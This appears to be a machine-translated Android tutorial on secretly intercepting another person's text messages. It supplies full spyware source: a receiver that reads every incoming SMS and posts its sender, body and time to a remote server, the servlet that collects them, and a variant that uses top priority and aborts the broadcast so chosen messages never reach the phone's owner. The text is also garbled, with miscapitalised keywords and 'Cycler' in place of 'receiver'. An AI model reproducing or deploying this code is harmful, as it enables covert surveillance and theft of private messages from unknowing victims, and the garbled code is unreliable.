I. Introduction to SMS listening principles
The purpose of text message listening is to eavesdrop on text messages sent by someone. For example, we have installed this app on A's mobile phone to view the text messages sent by B to;
How can we get short messages? If a message is sent to a third party, the message is displayed. Therefore, the message can be sent to the web server over the network;
The Messaging application in Android phones is just a common application;
Ii. Core code
Core code of the SMS listening Client
Add permissions to AndroidManifest. xml:
[Html]
<Uses-permission android: name = "android. permission. RECEIVE_SMS"/> <! -- Receive SMS -->
<Uses-permission android: name = "android. permission. INTERNET"/> <! -- Network access permission -->
(1) Object [] pdus = (Object []) intent. getExtras (). get ("pdus"); get text message data
(2) byte [] pdu = (byte []) pdus [0];
(3) SmsMessage message = SmsMessage. createFromPdu (pdu); encapsulate the byte array as SmsMessage
(4) String content = message. getMessageBody (); get the text message content
(5) String date = new Date (message. getTimestampMillis (). toLocaleString (); get sms time
(6) String senderNumber = message. getOriginatingAddress (); get the sender number
The server code only receives and displays parameters;
3. Code for text message listening
Server code
[Java]
Package org. xiazdong. servlet;
Import java. io. IOException;
Import javax. servlet. ServletException;
Import javax. servlet. annotation. WebServlet;
Import javax. servlet. http. HttpServlet;
Import javax. servlet. http. HttpServletRequest;
Import javax. servlet. http. HttpServletResponse;
@ WebServlet ("/SMSServlet ")
Public class SMSServlet extends HttpServlet {
Protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
DoPost (request, response );
}
Protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Request. setCharacterEncoding ("UTF-8 ");
String sender = request. getParameter ("sender ");
String body = request. getParameter ("body ");
String time = request. getParameter ("time ");
System. out. println ("sender:" + sender );
System. out. println ("sent content:" + body );
System. out. println ("sending time:" + time );
}
}
1. Just get short messages
Scenario
Effect description:
[Java]
Package com. xiazdong. smslistener;
Import java. io. OutputStream;
Import java.net. HttpURLConnection;
Import java.net. URL;
Import java.net. URLEncoder;
Import java. util. Date;
Import android. content. BroadcastReceiver;
Import android. content. Context;
Import android. content. Intent;
Import android. telephony. SmsMessage;
Import android. util. Log;
Public class SMSBroadcastReceiver extends BroadcastReceiver {
@ Override
Public void onReceive (Context context, Intent intent ){
Object [] pdus = (Object []) intent. getExtras (). get ("pdus"); // receives data
For (Object p: pdus ){
Byte [] pdu = (byte []) p;
SmsMessage message = SmsMessage. createFromPdu (pdu); // encapsulate the message into SmsMessage according to the obtained byte [].
String body = message. getMessageBody (); // send content
String date = new Date (message. getTimestampMillis (). toLocaleString (); // sending time
String sender = message. getOriginatingAddress (); // the sender of the SMS
Try {
SendSMS (sender, body, date );
} Catch (Exception e ){
E. printStackTrace ();
}
<Span style = "white-space: pre"> </span> if ("5554". equals (sender )){
<Span style = "white-space: pre"> </span> try {
<Span style = "white-space: pre"> </span> sendSMS (sender, body, date );
<Span style = "white-space: pre"> </span>} catch (Exception e ){
<Span style = "white-space: pre"> </span> e. printStackTrace ();
<Span style = "white-space: pre"> </span>}
<Span style = "white-space: pre"> </span>}
}
}
Private void sendSMS (String sender, String body, String date) throws Exception {
String params = "sender =" + URLEncoder. encode (sender) + "& body =" + URLEncoder. encode (body) + "& time =" + URLEncoder. encode (date );
Byte [] bytes = params. getBytes ("UTF-8 ");
URL url = new URL ("http: // 192.168.0.103: 8080/Server/SMSServlet ");
HttpURLConnection conn = (HttpURLConnection) url. openConnection ();
Conn. setRequestMethod ("POST ");
Conn. setRequestProperty ("Content-Type", "application/x-www-form-urlencoded"); // sets the HTTP Request Header
Conn. setRequestProperty ("Content-Length", bytes. length + "");
Conn. setDoOutput (true );
OutputStream out = conn. getOutputStream ();
Out. write (bytes); // sets the HTTP Request body
If (conn. getResponseCode () = 200 ){
Log. I ("TAG", "sent successfully ");
}
}
}
AndroidManifest. xml
[Html]
<Uses-permission android: name = "android. permission. RECEIVE_SMS"/> <! -- Receive SMS -->
<Uses-permission android: name = "android. permission. INTERNET"/> <! -- Network access permission -->
<Application
Android: icon = "@ drawable/ic_launcher"
Android: label = "@ string/app_name">
<Cycler android: name = ". SMSBroadcastReceiver">
<Intent-filter>
<Action android: name = "android. provider. Telephony. SMS_RECEIVED"/>
</Intent-filter>
</Cycler>
</Application>
2. Block text messages and send them to a third party.
Scenario Description
Client code:
[Java]
Package com. xiazdong. smslistener;
Import java. io. OutputStream;
Import java.net. HttpURLConnection;
Import java.net. URL;
Import java.net. URLEncoder;
Import java. util. Date;
Import android. content. BroadcastReceiver;
Import android. content. Context;
Import android. content. Intent;
Import android. telephony. SmsMessage;
Import android. util. Log;
Public class SMSBroadcastReceiver extends BroadcastReceiver {
@ Override
Public void onReceive (Context context, Intent intent ){
Object [] pdus = (Object []) intent. getExtras (). get ("pdus"); // receives data
For (Object p: pdus ){
Byte [] pdu = (byte []) p;
SmsMessage message = SmsMessage. createFromPdu (pdu); // encapsulate the message into SmsMessage according to the obtained byte [].
String body = message. getMessageBody (); // send content
String date = new Date (message. getTimestampMillis (). toLocaleString (); // sending time
String sender = message. getOriginatingAddress (); // the sender of the SMS
If ("15555215556". equals (sender )){
Try {
SendSMS (sender, body, date );
} Catch (Exception e ){
E. printStackTrace ();
}
AbortBroadcast (); // interrupt Broadcast
}
}
}
Private void sendSMS (String sender, String body, String date) throws Exception {
String params = "sender =" + URLEncoder. encode (sender) + "& body =" + URLEncoder. encode (body) + "& time =" + URLEncoder. encode (date );
Byte [] bytes = params. getBytes ("UTF-8 ");
URL url = new URL ("http: // 192.168.0.103: 8080/Server/SMSServlet ");
HttpURLConnection conn = (HttpURLConnection) url. openConnection ();
Conn. setRequestMethod ("POST ");
Conn. setRequestProperty ("Content-Type", "application/x-www-form-urlencoded"); // sets the HTTP Request Header
Conn. setRequestProperty ("Content-Length", bytes. length + "");
Conn. setDoOutput (true );
OutputStream out = conn. getOutputStream ();
Out. write (bytes); // sets the HTTP Request body
If (conn. getResponseCode () = 200 ){
Log. I ("TAG", "sent successfully ");
}
}
}
AndroidManifest. xml
[Html]
<Uses-permission android: name = "android. permission. RECEIVE_SMS"/> <! -- Receive SMS -->
<Uses-permission android: name = "android. permission. INTERNET"/> <! -- Network access permission -->
<Application
Android: icon = "@ drawable/ic_launcher"
Android: label = "@ string/app_name">
<Cycler android: name = ". SMSBroadcastReceiver">
<Intent-filter android: priority = "1000"> <! -- Set priority to 1000, highest -->
<Action android: name = "android. provider. Telephony. SMS_RECEIVED"/>
</Intent-filter>
</Cycler>
</Application>
Author: xiazdong